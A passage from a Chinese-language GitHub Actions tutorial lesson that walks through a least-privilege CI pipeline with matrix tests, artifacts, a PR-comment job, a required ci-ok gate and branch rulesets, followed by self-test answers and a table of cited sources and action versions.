python-version: ${{ matrix.python }}
cache: pip
cache-dependency-path: requirements*.txt
- run: pip install -r requirements-dev.txt
- run: pytest -v --junitxml=report-${{ matrix.python }}.xml
- uses: actions/upload-artifact@v7
if: ${{ !cancelled() }}
with:
name: pytest-report-${{ matrix.python }}
path: report-${{ matrix.python }}.xml
retention-days: 7
if-no-files-found: error
build:
needs: test
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with: { python-version: "3.13" }
- run: pip install build && python -m build --wheel
- uses: actions/upload-artifact@v7
with:
name: wheel
path: dist/*.whl
retention-days: 7
if-no-files-found: error
- name: Build image and smoke test
run: |
docker build -t myapp:${GITHUB_SHA::7} .
docker run -d --name app -p 5000:5000 myapp:${GITHUB_SHA::7}
for i in $(seq 1 20); do curl -fsS localhost:5000/healthz && exit 0; sleep 1; done
docker logs app; exit 1
report:
if: ${{ !cancelled() && github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository }}
needs: test
runs-on: ubuntu-24.04
timeout-minutes: 5
permissions:
pull-requests: write
steps:
- uses: actions/download-artifact@v8
with:
pattern: pytest-report-*
path: reports
merge-multiple: true
- env:
GH_TOKEN: ${{ github.token }}
PR: ${{ github.event.pull_request.number }}
RESULT: ${{ needs.test.result }}
run: |
N=$(grep -ho 'tests="[0-9]*"' reports/*.xml | head -3 | tr '\n' ' ')
gh pr comment "$PR" --repo "$GITHUB_REPOSITORY" --edit-last --create-if-none \
--body "CI 测试结果:$RESULT · $N · 运行 $GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID"
ci-ok:
if: always()
needs: [lint, test, build]
runs-on: ubuntu-24.04
timeout-minutes: 5
steps:
- env:
RESULTS: ${{ join(needs.*.result, ' ') }}
run: |
echo "results: $RESULTS"
for r in $RESULTS; do [ "$r" = "success" ] || { echo "::error::存在结果为 $r 的 job"; exit 1; }; done
设计要点:顶层只读,report job 单独获得 pull-requests: write,并且只在同仓库 PR 上运行(fork PR 令牌只读,评论会 403);ci-ok 只接受 success,是唯一的必需检查。gh pr comment --edit-last --create-if-none 需要较新的 gh(runner 镜像自带);若报未知参数,去掉这两个参数即可。
git add -A && git commit -m "ci: full pipeline (matrix, redis, cache, artifacts, least privilege)" git push -u origin ci/full-pipeline gh pr create --fill gh pr checks --watch
✓ CI/lint (pull_request) 12s ✓ CI/test (py3.12) (pull_request) 31s ✓ CI/test (py3.13) (pull_request) 29s ✓ CI/test (py3.14) (pull_request) 33s ✓ CI/report (pull_request) 8s ✓ CI/build (pull_request) 52s ✓ CI/ci-ok (pull_request) 3s
RUN_ID=$(gh run list --branch ci/full-pipeline --workflow ci.yml --limit 1 --json databaseId -q '.[0].databaseId')
gh run view "$RUN_ID" --log | grep -E "GITHUB_TOKEN Permissions" -A4 | head -12 # test: Contents read;report: PullRequests write
gh api repos/{owner}/{repo}/actions/runs/$RUN_ID/artifacts -q '.artifacts[] | [.name,.expires_at] | @tsv'
git commit --allow-empty -m "ci: rerun 1" && git push; git commit --allow-empty -m "ci: rerun 2" && git push
sleep 20; gh run list --branch ci/full-pipeline --workflow ci.yml --limit 3 # rerun 1 应为 cancelled
gh run view "$(gh run list --branch ci/full-pipeline --workflow ci.yml --limit 1 --json databaseId -q '.[0].databaseId')" --log | grep -c "Cache restored"main-ci-gate,必需检查为 ci-ok(integration_id 15368)。然后验证:
gh api repos/{owner}/{repo}/rules/branches/main -q '.[] | select(.type=="required_status_checks") | .parameters.required_status_checks'
git switch main && echo x >> README.md && git commit -am "direct push" && git push # 应被拒绝
git reset --hard origin/main && git switch ci/full-pipeline
[{"context":"ci-ok","integration_id":15368}]
remote: error: GH013: Repository rule violations found for refs/heads/main.
remote: - Changes must be made through a pull request.
remote: - Required status check "ci-ok" is expected.redis);② 删掉 report job 的 permissions(观察 403);③ 把 upload 的 path 写错(观察 if-no-files-found: error)。每次修复后确认 ci-ok 恢复为绿色。gh pr merge --squash --delete-branch。合并后 main 上会运行一次完整 CI(push 事件,不会被取消),生成默认分支缓存。练习用的 explore.yml、expressions.yml 可删除;gh secret list 确认没有遗留测试 secret;规则集可保留供第 3 课使用。本课没有创建任何云资源,不产生云费用;公有仓库的标准 runner 分钟免费。开放式自测(先自己回答,再展开参考答案)
1. 从 git push 到 PR 上出现绿色勾,中间经历了哪些阶段?runner 如何拿到作业?
事件 → GitHub 读取该提交的 workflow 并评估 on/过滤器 → 创建运行、解析 needs 与 matrix、作业排队 → runner 应用经出站 HTTPS 长轮询领取匹配标签的作业(托管 runner 为该 job 新开 VM)→ Set up job(下载 Action、签发 GITHUB_TOKEN、启动服务容器)→ 逐个执行 step 并实时上传日志 → post 步骤保存缓存、上传制品 → job 结论写入 check run 显示在 PR。
2. 为什么 CI 应该用 pull_request 而不是 pull_request_target?
pull_request 运行 PR 代码但令牌只读且没有 secrets(对 fork),即使代码恶意也拿不到钥匙;pull_request_target 有写权限令牌和 secrets,若检出并执行 PR 代码就会被接管。后者只用于不执行 PR 代码的元数据操作。
3. 服务容器在“job 直接在 runner 上”和“job 在容器中”两种情况下怎么连接?
前者通过端口映射用 localhost:映射端口;后者在同一用户自定义网络中用服务的 label 名作为主机名,无需映射端口。
4. if: always() && github.ref == 'refs/heads/main' 用在部署 job 上有什么问题?
写了状态函数就不再隐含 success(),测试失败时也会部署;always() 还会在取消时运行。应使用默认的 success() 或显式 success() && …。
5. 缓存和制品各适合什么?为什么不能用缓存传递构建产物?
缓存跨运行复用不常变化的依赖,尽力而为、可被淘汰、有分支作用域;制品保存本次运行产出,带 digest 校验、有保留期、可下载。用缓存传产物可能拿到旧的/别的分支的内容,甚至被投毒。
6. 看到 “Resource not accessible by integration”,你的排查步骤?
确认操作需要的 scope(评论需 pull-requests: write,推送需 contents: write)→ 查看 Set up job 打印的 GITHUB_TOKEN Permissions → 检查 workflow/job 级 permissions 是否覆盖遗漏 → 是否 fork PR 或 Dependabot(最多只读)→ 是否操作其他仓库(需 GitHub App 令牌)→ 组织/企业是否锁定只读。
结业测验(12 题,覆盖全部模块)
来源与版本说明
| 主题 | 核实结论 | 来源(访问日期 2026-11-15) |
|---|---|---|
| 托管 runner 标签与规格 | 公有仓库 Linux/Windows x64 与 arm64 为 4 vCPU / 16 GB / 14 GB SSD,私有仓库为 2 vCPU / 8 GB;ubuntu-slim 1 vCPU / 5 GB(15 分钟超时);macOS arm64(M1)3 vCPU / 7 GB,Intel 4 vCPU / 14 GB;标签含 ubuntu-24.04/22.04/26.04(及 -arm)、windows-2025/2022、windows-11-arm、macos-15/26(及 -intel);ubuntu-latest→24.04、windows-latest→2025、macos-latest→macOS 26(按文档链接推断) | GitHub-hosted runners reference |
| 托管 runner 行为 | 每个 job 一台新 VM(单核 runner 为共享 VM 上的容器);队列中 45 分钟无 runner 处理则丢弃;镜像清单在 actions/runner-images | About GitHub-hosted runners |
| 事件 | schedule:默认 UTC、支持 timezone(IANA)、最短 5 分钟、高负载可能延迟、只在默认分支、公有仓库 60 天无活动禁用;workflow_run:文件需在默认分支、最多 3 层;pull_request_target 在 base 默认分支上下文运行;fork PR 令牌只读且不传 secrets;repository_dispatch 负载限制;GITHUB_TOKEN 事件不创建运行(dispatch 除外) | Events that trigger workflows |
| workflow 语法 | concurrency 支持 queue: single|max(max 最多 100 pending,不可与 cancel-in-progress: true 共用);permissions 范围列表与“写一项其余为 none”;defaults 不支持表达式;job 默认超时 360 分钟;matrix 上限 256;job outputs 1 MB / 运行 50 MB;服务容器两种网络方式;GITHUB_TOKEN 最长 24 小时 | Workflow syntax · Changelog 2026-05-07 |
| GITHUB_TOKEN | 作用域限于当前仓库;托管 runner 最长随 job(6 小时)失效,自托管最多刷新到 24 小时;GITHUB_TOKEN 创建的 PR 的 opened/synchronize/reopened 运行需批准 | GITHUB_TOKEN |
| 依赖缓存 | 默认每仓库 10 GB(可扩容、超出计费);7 天未访问删除;当前分支/默认分支/PR base 分支作用域;restore-keys 顺序与“取最新”;缓存不可变;上传 200 次/分钟、下载 1,500 次/分钟;缓存版本含 path 与压缩工具 | Dependency caching reference |
| 缓存访问控制(2026) | 不需要写权限即可触发的事件获得只读缓存令牌(2026-06);workflow/job 级 cache-mode:read / write / write-only / none(2026-09-10) | Changelog 2026-06-26 · Changelog 2026-09-10 |
| actions/cache | v6.1.0(Latest);v6.0.0 迁移 ESM;v5 起 node24、要求 runner ≥ 2.327.1;v6.1.0 处理只读缓存访问 | actions/cache releases |
| upload-artifact | v7.0.2(最新);v7.0.0 新增 archive: false 单文件直传(name 被忽略、多文件匹配失败)、迁移 ESM;v6 默认 node24 | upload-artifact releases |
| download-artifact | v8.0.2(最新);v8.0.0 哈希不匹配默认失败(digest-mismatch: error)、非 zip 不再解压、新增 skip-decompress;v7 默认 node24(runner ≥ 2.327.1);v5 按 ID 下载直接解压到 path | download-artifact releases |
| 其他 Action 版本 | actions/checkout v7.0.1(v7.0.0 起在 pull_request_target/workflow_run 下阻止检出 fork PR)、setup-python v7.1.0、dorny/paths-filter v4.0.3 | 同仓库课件编写规范中的已核实事实(2026-11-15,来源为各 Action 的 GitHub Releases) |
| 步骤并行(了解) | 2026-06-25 起 step 支持 background / wait / parallel,每个 job 最多 10 个并发后台步骤;本课未展开 | Changelog 2026-06-25 |
| 供应链事件 | tj-actions/changed-files 标签被改指(CVE-2025-30066,2025-03-14/15,46.0.1 修复) | GHSA-mrrh-fwg8-r2c3 |
视频核实说明
以下视频通过 YouTube oEmbed 接口(2026-11-15)核实了标题、频道与视频 ID 一致:TechWorld with Nana《GitHub Actions Tutorial - Basic Concepts and CI/CD Pipeline with Docker》(R8_veQiYBjI);GitHub《GitHub Actions - Supercharge your GitHub Flow》(cP0I9w2coGU);DevOps Directive《Complete GitHub Actions Course - From BEGINNER to PRO》(Xwpi0ITkL3U);DevOps Journey《Github Actions CI/CD - Everything you need to know to get started》(mFFXuXjVgkU);CoderDave《GitHub Actions Tutorial | From Zero to Hero in 90 minutes (Environments, Secrets, Runners, etc)》(TLB5MY9BBa4);freeCodeCamp.org《GitHub Actions Certification – Full Course to PASS the Exam》(Tz7FsunBbfQ);Fireship《5 Ways to DevOps-ify your App - Github Actions Tutorial》(eB0nUzAI7M8);Tom Shaw《CI/CD Tutorial using GitHub Actions - Automated Testing & Automated Deployments》(YLtlz88zrLg)。oEmbed 不返回时长与发布日期,因此卡片中未写具体时长与年份。服务容器、表达式 if 坑、matrix/concurrency、缓存与制品新行为、GITHUB_TOKEN 最小权限未找到经核实的专题视频,已提供分镜脚本。所有视频均为英文,录制时间早于本课所用的 Action 版本,版本与新特性以本课和官方文档为准。
语音讲解说明
“语音”分页使用浏览器的 Web Speech API(speechSynthesis,zh-CN)实时朗读讲解稿,英文术语用 en-US 发音。效果取决于操作系统中安装的语音(Windows “Microsoft Xiaoxiao/Yunxi”、macOS “Tingting” 等)。本课件生成环境无法调用 TTS 服务,因此没有内嵌 MP3;需要离线音频时,可以把讲解稿交给 TTS 服务生成。
已知限制
- “预期输出”中的运行 ID、runner 名称、镜像版本号、耗时、哈希与时间是示例值,实际以你的运行为准;runner 应用版本写作
2.3xx.x表示随时更新。 -latest标签的指向会随 GitHub 迁移计划变化;macos-latest指向 macOS 26 是根据官方表格中的链接推断,请以运行日志中的 Runner Image 为准。- runner 通过出站 HTTPS 长轮询领取作业的描述基于开源
actions/runner的公开行为与自托管 runner 通信文档;GitHub 服务端内部的调度实现未公开,动画中的服务端阶段为概念示意。 queue: max是否严格按先进先出处理,官方文档未作承诺;cache-mode的具体 YAML 写法请以 docs.github.com 最新文档为准。- 私有仓库的分钟单价、存储计费、larger runners 价格本课未列出,请以 GitHub 计费文档为准(第 7 课展开)。
- actionlint 示例使用
latest标签便于演示,生产中应固定版本。 - 动画与计算器中的时间、计数为示意值,用于说明机制。